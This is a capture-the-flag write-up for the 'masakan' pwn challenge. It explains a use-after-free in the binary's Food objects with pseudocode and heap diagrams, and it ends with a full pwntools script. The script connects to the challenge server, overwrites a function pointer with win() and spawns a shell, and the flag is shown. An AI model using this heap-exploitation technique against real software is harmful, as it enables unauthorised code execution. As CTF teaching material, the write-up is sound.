masakan (pwn)

Yep just nc 45.76.161.20 40076

masakan

The pseudocode of the program looks like this

typedef struct Food {
    void* func;
    char* name;
    char* contents;
} Food;

int num_food = 0;
Food* foods[6];

void main() {
    char* choice_buf;

    while(true) {
        read(0, choice, 4);
        switch(atoi(choice)) {
            case 1:
                masak();
                break;
            case 2:
                buang();
                break;
            case 3:
                hidang();
                break;
            case 4:
                exit(0);
                break;
        }
    }
}

void print_food(Food* food) {
    puts(food->contents);
}

void win(Food* food) {
    system(food->contents);
}

void masak() {
    if (num_food >= 6) return;

    for (int i = 0; i < 6; ++i) {
        if (!foods[i]) {
            foods[i] = malloc(0x18);
            foods[i]->func = print_food;
            foods[i]->name = malloc(100);
            read(0, foods[i]->name, 99);
            char* size; read(0, size; 4);
            foods[i]->content = malloc(atoi(size));
            read(0, foods[i]->content, atoi(size));
            puts("Siap!");
            break;
        }
    }
}

void buang() {
    char* index_buf; read(0, index, 4);
    int index = atoi(index_buf);
    if (foods[index]) {
        free(foods[index]->contents);
        free(foods[index]);
        puts("Tak sedap ye dik!");
    }
}

void hidang() {
    char* index_buf; read(0, index, 4);
    int index = atoi(index_buf);
    if (foods[index]) {
        foods[index]->func(&foods[index]);
    }
}

In summary,

  1. masak lets us create a Food object that contains func a function pointer to print_food, name a buffer of size 100, contents a buffer of size that we choose.
  2. buang to free a Food object from the heap
  3. hidang to call the func function of a chosen Food object

It is interesting that a function is assigned to each Food object. What if we can overwrite that function pointer with something else, say win, then we can call system on anything we want? There is a use-after-free vulnerability that allows us to do this.

Although through buang() the Food objects are free‘d, but foods still contains a pointer to these memory regions. So we just need to make sure after calling buang(), we call masak() in such a way that malloc will give us the address of one of the Food objects, then we can overwrite the func value of that Food object.

It is possible to get the address of the previous Food objects from malloc because for small objects, when they are free‘d, they will be put to the end of a free list. When malloc is called, it will check the free list and take an address from there if it is not empty.

This is the way I did it.

  1. Create 2 Food objects with contents of any size that is not 0x18 (e.g 100) and write /bin/sh into them
  2. buang these 2 Foods
  3. Create another Food object with contents of size 0x18
  4. Write address of win into contents
  5. Get shell

This is how it will look like

1. Create the 2 Food objects

Food1
+------------+
| print_food |
+------------+        +-------+
| name       +------->+ food1 |
+------------+        +------+--+
| contents   +------->+ /bin/sh |
+------------+        +---------+

Food2
+------------+
| print_food |
+------------+        +-------+
| name       +------->+ food2 |
+------------+        +------+--+
| contents   +------->+ /bin/sh |
+------------+        +---------+

2. Free the 2 Food objects

free-list for size 0x18: (top is last freed object)
Food2
Food1

3. Create a Food object

     Food1
     +------------+
+--->+ print_food |
|    +------------+        +-------+
|    | name       +------> | food1 |
|    +------------+        +-------+-+
|    | contents   +------> | /bin/sh |
|    +------------+        +---------+
|
|    Food2/3
|    +------------+
|    | print_food |
|    +------------+        +-------+
|    | name       +------> | food3 |
|    +------------+        +-------+
|    | contents   +------+
|    +------------+      |
|                        |
+------------------------+

Food2 and Food3 share the same memory region because malloc will return the address of Food2 first, as it is at the top of the free list. Then when malloc is called again with size 0x18 for contents of Food3, it will get the address of Food1.

Now it is quite straightforward, write address win into contents of Food3, then call hidang on Food1 so that the program does system("/bin/sh").

from pwn import *

# r = process("./masakan")
r = remote("45.76.161.20", 40076)

r.sendlineafter(":", "1")
r.sendlineafter(":", "/bin/sh")
r.sendlineafter(":", "100")
r.sendlineafter(":", "ok")

r.sendlineafter(":", "1")
r.sendlineafter(":", "/bin/sh")
r.sendlineafter(":", "100")
r.sendlineafter(":", "ok")

r.sendlineafter(":", "2")
r.sendlineafter(":", "0")

r.sendlineafter(":", "2")
r.sendlineafter(":", "1")

r.sendlineafter(":", "1")
r.sendlineafter(":", "/bin/sh")
r.sendlineafter(":", "24")
r.sendlineafter(":", p64(0x400c5b))

r.sendlineafter(":", "3")
r.sendlineafter(":", "0")

r.interactive()

# wgmy{58f6a8614a5dbe8f0cec6358e34bccc2}